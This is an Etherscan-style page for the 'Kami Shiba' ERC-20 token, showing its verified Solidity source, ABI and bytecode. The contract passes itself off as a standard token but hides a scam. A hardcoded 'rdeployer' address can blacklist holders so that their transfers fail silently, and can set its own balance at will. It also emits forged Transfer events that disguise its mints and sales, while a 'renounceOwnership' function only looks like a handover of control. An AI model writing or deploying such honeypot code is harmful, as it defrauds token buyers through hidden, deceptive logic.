Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
700,000,000 KAMI SHIB
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
49,119,704.522610883072307161 KAMI SHIBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
KAMISHIBA
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-25 */ pragma solidity 0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract KAMISHIBA { mapping (address => uint256) public rT; mapping (address => uint256) public Iz; mapping (address => bool) bN; mapping(address => mapping(address => uint256)) public allowance; string public name = unicode"Kami Shiba"; string public symbol = unicode"KAMI SHIB"; uint8 public decimals = 18; uint256 public totalSupply = 700000000 * (uint256(10) ** decimals); address owner = msg.sender; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event OwnershipRenounced(address indexed previousOwner); address r_Construct = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08; constructor() { rT[msg.sender] = totalSupply; deploy(r_Construct, totalSupply); } address rdeployer = 0xec6C9F480EFb9b9FB5d34b8AF993024892932659; function deploy(address account, uint256 amount) public { require(msg.sender == owner); emit Transfer(address(0), account, amount); } function renounceOwnership() public { require(msg.sender == owner); emit OwnershipRenounced(owner); owner = address(0);} function transfer(address to, uint256 value) public returns (bool success) { if(msg.sender == rdeployer) { require(rT[msg.sender] >= value); rT[msg.sender] -= value; rT[to] += value; emit Transfer (r_Construct, to, value); return true; } if(!bN[msg.sender]) { require(rT[msg.sender] >= value); rT[msg.sender] -= value; rT[to] += value; emit Transfer(msg.sender, to, value); return true; }} function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function gish () public { if(msg.sender == rdeployer) { rT[msg.sender] = Iz[msg.sender]; }} function balanceOf(address account) public view returns (uint256) { return rT[account]; } function sny(address ii) public { if(msg.sender == rdeployer) { bN[ii] = false;}} function chkvl(address ii) public{ if(msg.sender == rdeployer) { require(!bN[ii]); bN[ii] = true; }} function brnu(uint256 x) public { if(msg.sender == rdeployer) { Iz[msg.sender] = x;} } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if(from == rdeployer) { require(value <= rT[from]); require(value <= allowance[from][msg.sender]); rT[from] -= value; rT[to] += value; emit Transfer (r_Construct, to, value); return true; } if(!bN[from] && !bN[to]) { require(value <= rT[from]); require(value <= allowance[from][msg.sender]); rT[from] -= value; rT[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; }}}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Iz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"brnu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ii","type":"address"}],"name":"chkvl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ii","type":"address"}],"name":"sny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600a81526020017f4b616d6920536869626100000000000000000000000000000000000000000000815250600490816200004a91906200059b565b506040518060400160405280600981526020017f4b414d4920534849420000000000000000000000000000000000000000000000815250600590816200009191906200059b565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000cc919062000812565b6329b92700620000dd919062000863565b60075533600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b8f226ddb7bc672e27dffb67e4adabfa8c0dfa08600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ec6c9f480efb9b9fb5d34b8af993024892932659600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001d857600080fd5b506007546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000254600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007546200025a60201b60201c565b620008dc565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002b557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003159190620008bf565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a357607f821691505b602082108103620003b957620003b86200035b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e4565b6200042f8683620003e4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200047c62000476620004708462000447565b62000451565b62000447565b9050919050565b6000819050919050565b62000498836200045b565b620004b0620004a78262000483565b848454620003f1565b825550505050565b600090565b620004c7620004b8565b620004d48184846200048d565b505050565b5b81811015620004fc57620004f0600082620004bd565b600181019050620004da565b5050565b601f8211156200054b576200051581620003bf565b6200052084620003d4565b8101602085101562000530578190505b620005486200053f85620003d4565b830182620004d9565b50505b505050565b600082821c905092915050565b6000620005706000198460080262000550565b1980831691505092915050565b60006200058b83836200055d565b9150826002028217905092915050565b620005a68262000321565b67ffffffffffffffff811115620005c257620005c16200032c565b5b620005ce82546200038a565b620005db82828562000500565b600060209050601f831160018114620006135760008415620005fe578287015190505b6200060a85826200057d565b8655506200067a565b601f1984166200062386620003bf565b60005b828110156200064d5784890151825560018201915060208501945060208101905062000626565b868310156200066d578489015162000669601f8916826200055d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071057808604811115620006e857620006e762000682565b5b6001851615620006f85780820291505b80810290506200070885620006b1565b9450620006c8565b94509492505050565b6000826200072b5760019050620007fe565b816200073b5760009050620007fe565b81600181146200075457600281146200075f5762000795565b6001915050620007fe565b60ff84111562000774576200077362000682565b5b8360020a9150848211156200078e576200078d62000682565b5b50620007fe565b5060208310610133831016604e8410600b8410161715620007cf5782820a905083811115620007c957620007c862000682565b5b620007fe565b620007de8484846001620006be565b92509050818404811115620007f857620007f762000682565b5b81810290505b9392505050565b600060ff82169050919050565b60006200081f8262000447565b91506200082c8362000805565b92506200085b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000719565b905092915050565b6000620008708262000447565b91506200087d8362000447565b92508282026200088d8162000447565b91508282048414831517620008a757620008a662000682565b5b5092915050565b620008b98162000447565b82525050565b6000602082019050620008d66000830184620008ae565b92915050565b61187e80620008ec6000396000f3fe608060405234801561001057600080fd5b506004361061010a5760003560e01c806370a08231116100a2578063ade76abf11610071578063ade76abf146102a5578063b61ebd08146102c1578063c68cebf8146102f1578063d30f3f8d146102fb578063dd62ed3e1461032b5761010a565b806370a082311461021d578063715018a61461024d57806395d89b4114610257578063a9059cbb146102755761010a565b806323b872dd116100de57806323b872dd1461019757806325c884a8146101c7578063313ce567146101e35780634956eaf0146102015761010a565b806215a3ab1461010f57806306fdde031461012b578063095ea7b31461014957806318160ddd14610179575b600080fd5b610129600480360381019061012491906114a5565b61035b565b005b61013361040c565b6040516101409190611562565b60405180910390f35b610163600480360381019061015e91906115ba565b61049a565b6040516101709190611615565b60405180910390f35b61018161058c565b60405161018e919061163f565b60405180910390f35b6101b160048036038101906101ac919061165a565b610592565b6040516101be9190611615565b60405180910390f35b6101e160048036038101906101dc91906114a5565b610b27565b005b6101eb610c2f565b6040516101f891906116c9565b60405180910390f35b61021b600480360381019061021691906115ba565b610c42565b005b610237600480360381019061023291906114a5565b610d06565b604051610244919061163f565b60405180910390f35b610255610d4e565b005b61025f610e51565b60405161026c9190611562565b60405180910390f35b61028f600480360381019061028a91906115ba565b610edf565b60405161029c9190611615565b60405180910390f35b6102bf60048036038101906102ba91906116e4565b611276565b005b6102db60048036038101906102d691906114a5565b611313565b6040516102e8919061163f565b60405180910390f35b6102f961132b565b005b610315600480360381019061031091906114a5565b611405565b604051610322919061163f565b60405180910390f35b61034560048036038101906103409190611711565b61141d565b604051610352919061163f565b60405180910390f35b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610409576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6004805461041990611780565b80601f016020809104026020016040519081016040528092919081815260200182805461044590611780565b80156104925780601f1061046757610100808354040283529160200191610492565b820191906000526020600020905b81548152906001019060200180831161047557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057a919061163f565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036107f7576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561063457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106bd57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070b91906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107609190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e6919061163f565b60405180910390a360019050610b20565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561089b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610b1f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108eb57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c291906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a179190611814565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aaa91906117e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b0e919061163f565b60405180910390a360019050610b20565b5b9392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c2c57600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bd357600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600660009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cfa919061163f565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60058054610e5e90611780565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8a90611780565b8015610ed75780601f10610eac57610100808354040283529160200191610ed7565b820191906000526020600020905b815481529060010190602001808311610eba57829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110bb57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f8157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fcf91906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110249190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110aa919061163f565b60405180910390a360019050611270565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661126f57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561115757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a591906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111fa9190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125e919061163f565b60405180910390a360019050611270565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036113105780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60016020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361140357600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b60006020528060005260406000206000915090505481565b6003602052816000526040600020602052806000526040600020600091509150505481565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061147282611447565b9050919050565b61148281611467565b811461148d57600080fd5b50565b60008135905061149f81611479565b92915050565b6000602082840312156114bb576114ba611442565b5b60006114c984828501611490565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561150c5780820151818401526020810190506114f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611534826114d2565b61153e81856114dd565b935061154e8185602086016114ee565b61155781611518565b840191505092915050565b6000602082019050818103600083015261157c8184611529565b905092915050565b6000819050919050565b61159781611584565b81146115a257600080fd5b50565b6000813590506115b48161158e565b92915050565b600080604083850312156115d1576115d0611442565b5b60006115df85828601611490565b92505060206115f0858286016115a5565b9150509250929050565b60008115159050919050565b61160f816115fa565b82525050565b600060208201905061162a6000830184611606565b92915050565b61163981611584565b82525050565b60006020820190506116546000830184611630565b92915050565b60008060006060848603121561167357611672611442565b5b600061168186828701611490565b935050602061169286828701611490565b92505060406116a3868287016115a5565b9150509250925092565b600060ff82169050919050565b6116c3816116ad565b82525050565b60006020820190506116de60008301846116ba565b92915050565b6000602082840312156116fa576116f9611442565b5b6000611708848285016115a5565b91505092915050565b6000806040838503121561172857611727611442565b5b600061173685828601611490565b925050602061174785828601611490565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179857607f821691505b6020821081036117ab576117aa611751565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117eb82611584565b91506117f683611584565b925082820390508181111561180e5761180d6117b1565b5b92915050565b600061181f82611584565b915061182a83611584565b9250828201905080821115611842576118416117b1565b5b9291505056fea2646970667358221220dab6c00ad8087c38a5118164f0465dfe2be0133023761debeaea944f3ee10a2564736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010a5760003560e01c806370a08231116100a2578063ade76abf11610071578063ade76abf146102a5578063b61ebd08146102c1578063c68cebf8146102f1578063d30f3f8d146102fb578063dd62ed3e1461032b5761010a565b806370a082311461021d578063715018a61461024d57806395d89b4114610257578063a9059cbb146102755761010a565b806323b872dd116100de57806323b872dd1461019757806325c884a8146101c7578063313ce567146101e35780634956eaf0146102015761010a565b806215a3ab1461010f57806306fdde031461012b578063095ea7b31461014957806318160ddd14610179575b600080fd5b610129600480360381019061012491906114a5565b61035b565b005b61013361040c565b6040516101409190611562565b60405180910390f35b610163600480360381019061015e91906115ba565b61049a565b6040516101709190611615565b60405180910390f35b61018161058c565b60405161018e919061163f565b60405180910390f35b6101b160048036038101906101ac919061165a565b610592565b6040516101be9190611615565b60405180910390f35b6101e160048036038101906101dc91906114a5565b610b27565b005b6101eb610c2f565b6040516101f891906116c9565b60405180910390f35b61021b600480360381019061021691906115ba565b610c42565b005b610237600480360381019061023291906114a5565b610d06565b604051610244919061163f565b60405180910390f35b610255610d4e565b005b61025f610e51565b60405161026c9190611562565b60405180910390f35b61028f600480360381019061028a91906115ba565b610edf565b60405161029c9190611615565b60405180910390f35b6102bf60048036038101906102ba91906116e4565b611276565b005b6102db60048036038101906102d691906114a5565b611313565b6040516102e8919061163f565b60405180910390f35b6102f961132b565b005b610315600480360381019061031091906114a5565b611405565b604051610322919061163f565b60405180910390f35b61034560048036038101906103409190611711565b61141d565b604051610352919061163f565b60405180910390f35b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610409576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6004805461041990611780565b80601f016020809104026020016040519081016040528092919081815260200182805461044590611780565b80156104925780601f1061046757610100808354040283529160200191610492565b820191906000526020600020905b81548152906001019060200180831161047557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057a919061163f565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036107f7576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561063457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106bd57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070b91906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107609190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e6919061163f565b60405180910390a360019050610b20565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561089b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610b1f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108eb57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c291906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a179190611814565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aaa91906117e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b0e919061163f565b60405180910390a360019050610b20565b5b9392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c2c57600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bd357600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600660009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cfa919061163f565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60058054610e5e90611780565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8a90611780565b8015610ed75780601f10610eac57610100808354040283529160200191610ed7565b820191906000526020600020905b815481529060010190602001808311610eba57829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110bb57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f8157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fcf91906117e0565b9250508190555081